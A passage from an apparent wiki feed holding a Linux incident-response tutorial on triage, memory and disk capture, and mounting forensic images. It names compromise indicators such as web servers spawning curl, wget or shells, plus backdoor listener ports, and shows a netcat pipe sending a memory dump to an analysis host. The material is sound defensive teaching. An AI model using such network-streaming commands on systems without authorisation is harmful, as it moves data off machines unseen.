&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=259</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=259"/>
		<updated>2026-10-02T23:28:46Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
